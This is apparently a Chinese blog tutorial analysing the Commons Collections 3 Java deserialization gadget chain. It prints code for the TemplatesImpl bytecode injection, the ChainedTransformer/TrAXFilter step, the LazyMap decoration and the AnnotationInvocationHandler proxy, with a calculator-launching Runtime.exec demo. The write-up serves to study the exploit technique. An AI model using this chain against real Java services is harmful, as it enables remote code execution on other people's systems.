Java安全之Commons Collections3分析 (2)

Java安全之Commons Collections3分析

能够执行成功并且弹出计算器。

其实看到代码前面部分,和CC2利用链的构造是一模一样的。在CC2链中分析文章里面讲到过。这里就来简单概述一下。

Java安全之Commons Collections2分析

这里是采用了Javassist方式创建一个类,然后设置该类的主体为Runtime.exec("clac.exe"),设置完成后,将该类转换成字节码。

Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance(); Field field=templatesImpl.getClass().getDeclaredField("_bytecodes"); field.setAccessible(true); field.set(templatesImpl,new byte[][]{bytes}); Field field1=templatesImpl.getClass().getDeclaredField("_name"); field1.setAccessible(true); field1.set(templatesImpl,"test");

反射获取TemplatesImpl类的_bytecodes成员变量,设置值为上面使用Javassist类转换后的字节码。

反射获取TemplatesImpl类的_name成员变量,设置值为test。

Transformer[] transformers=new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl}) }; ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);

ConstantTransformer在调用transform方法的时候,会遍历的去调用数组里面transform方法。并且将执行结果传入到第二次遍历执行的参数里面。

Java安全之Commons Collections3分析

第一次执行this.iTransformers[i]为ConstantTransformer。所以,调用的是ConstantTransformer的transform方法该方法是直接返回传入的对象。这里返回了个TrAXFilter.class对象。

Java安全之Commons Collections3分析

而在第二次遍历执行的时候传入的就是TrAXFilter.class对象,然后再反射的去获取方法,使用newInstance实例化一个对象并且进行返回。

Java安全之Commons Collections3分析

Map map=new HashMap(); Map lazyMap= LazyMap.decorate(map,chainedTransformer);

这里是将上面构造好的ChainedTransformer的实例化对象,传入进去。在调用lazyMap的get方法的时候,就会去调用构造好的ChainedTransformer对象的transform方法。

Java安全之Commons Collections3分析

那么下面就会引出lazyMap的get方法的调用问题,再来看下面一段代码。

Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor=cls.getDeclaredConstructor(Class.class,Map.class); constructor.setAccessible(true); InvocationHandler invocationHandler=(InvocationHandler)constructor.newInstance(Override.class,lazyMap); Map map1=(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),invocationHandler); Object object=constructor.newInstance(Override.class,map1);

反射创建了一个AnnotationInvocationHandler对象,传入Override.class和lazyMap的对象,并使用AnnotationInvocationHandler作为调用处理器,为lazyMap做一个动态代理。关于这里为什么要传入一个Override.class的问题,其实因为AnnotationInvocationHandler本来就是一个处理注解的类,构造方法的第⼀个参数是⼀个Annotation类类型参数,第二个是map类型参数(所有的注解类型都继承自这个Annotation接口)。在这里面不管传入的是Retention.class还是Override.class都是可行的。

这的lazyMap作为被代理的对象后,调用任意的方法都会去执行调用处理器的invoke方法。AnnotationInvocationHandler实现了InvocationHandler ,可以被当作调用处理器传入。而我们在这时候调用lazyMap的任意方法的话,就会执行一次AnnotationInvocationHandler中的invoke方法。而在AnnotationInvocationHandler的invoke方法中就会调用get方法。

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/zyjdwg.html